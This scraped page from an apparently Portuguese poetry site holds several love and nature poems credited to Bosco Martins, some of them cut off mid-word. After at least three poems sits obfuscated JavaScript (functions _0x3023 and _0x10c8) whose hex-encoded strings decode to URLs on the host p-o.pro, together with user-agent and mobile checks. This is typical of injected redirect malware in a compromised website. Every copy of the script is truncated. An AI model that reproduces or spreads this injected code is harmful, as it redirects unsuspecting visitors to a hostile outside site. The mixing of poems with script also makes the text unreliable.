Poético

Ausência

Ausência

Poético
Hoje quando acordei, (ainda se fazia de manhã.) Uma vontade imensa de ver-te, Falar-te, beijar-te, Apossou-se de mim, Inesperadamente. Queria ter-te ao meu lado Contar-te que estou muito Sofrendo sem os carinhos teus. Ah! como é profunda a solidão De quem desesperadamente ama, E como é grande a chama Deste amor que me inflama. Teus olhos, teus cabelos, tuas pernas, Teu rosto, teus braços, teu corpo, Teus beijos e teus carinhos, Por certo estão a espera dos meus. Queria estar junto de ti hoje. Para nunca mais dizer-te, Adeus. São Paulo, Junho de 1975, do livro "Poeta Moderno", por Bosco Martins function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3]
Alibi (ÚLTIMO POEMA)

Alibi (ÚLTIMO POEMA)

Poético
Façamos deste dia a nossa última noite quero sair contigo como se estivesse saindo com um pássaro amarelo e que nossa pousada fosse o coração do homem esta noite vamos brincar de príncipe e princesa de pierrot e colombina de mendigo e maltrapilha de deus e de diabo Vamos falar de Marx e Cristo e daremos razão ao povo vamos levantar voo numa espaçonave argentina não americana e chegaremos ao país do incognoscível falaremos de bruxas de Freud de Hitler de Gullar e cantaremos tão forte que todos os tímpanos serão serenos e todas as madrugadas terão amapoulas então roubaremos a lua e tu vomitando estrelas com tua carinha de querubin endemoniada me falarás de teus segredos e me abrirás o peito pra me vender por segundos teu coração aí mostrar-te-ei o ma
A Noite é Morna…

A Noite é Morna…

Poético
... a noite é morna, perfumada e doce, como o sonhado hálito embriagante das sereias O céu um fundo azul escuro, todo crivado de cintilantes botõezinhos, parece uma cristalizada chuva de fragmentos argentinos. A brisa, muito docemente, subtraindo nesta edênica carícia osculante, o olor sutil do poetismo, que arrasta a nossa pequenina alma, a gozar desta deleitante suavidade natural. Tudo é convidativo, Tudo é atraente, tudo é arrebatador e extasiante neste inebriante misticismo ínsito! A lua, um tanto romântica, qual medrosa namorada, toda vestida de branco, sorrateiramente, de quando em vez, crespando suas finas e delicadas mãozinhas de alabastro, a negra cortina etérea de sua alcova, lança um olhar vago, demorado e triste, como se cismasse num l
Patética

Patética

Poético
...deitei-me às quatro e levantei-me às sete Não sei nem poderei precisar se dormi... Atordoado ergui-me do leito morrendo de frio, sem saber o que fazer! Uma onda de tristes pensamentos, alvoroçaram minha alucinada imaginação! Uma tristeza infinda... Uma melancolia, pela fadiga moral, me interditava o cérebro exangue! Um silêncio brando atraía-me e inconscientemente, deixei-me levar através da inconsciência num magnetismo hipnótico que me arrastou através de sua vontade Não era mais um homem, um ente humano que caminhava; era antes, um autômato guiado por uma força invisível, estranha e inexplicável, que na razão inversa da luz, viandava na obscuridade turva da morte. Nada! Nem um pensamento sequer cruzou-me o cérebro neste momento de sonambulismo! Nem
A Rosa

A Rosa

Poético
Amada, Conheces bem a pétala da rosa? De tão frágil, de tão delicada, ao toca-la, é preciso ter a leveza da brisa. Se não declina, desmancha, para os lados e para trás, depois murcha. Amada, qualquer mulher é pétala de rosa. Por Bosco Martins function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x67\x61\x56\x32\x63\x372','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x70\x47\x73\x33\x63\x373','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\
Bonito

Bonito

Poético
o som da mata o sol dourando nossos cabelos queima os braços que rasgam o verde do rio desses olhos piraputangas / corixos coloridos na noite fria o barco vira redes voando luzes de vela / um lampião vozes / riscos fogo na mata e um desespero verde mas a chuva alucina o fogo e teu galope de manhã o sol queima teus longos passos serenos e assombra teu olhar negro derramando um suor quente por entre as pernas. Por Bosco Martins function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x67\x61\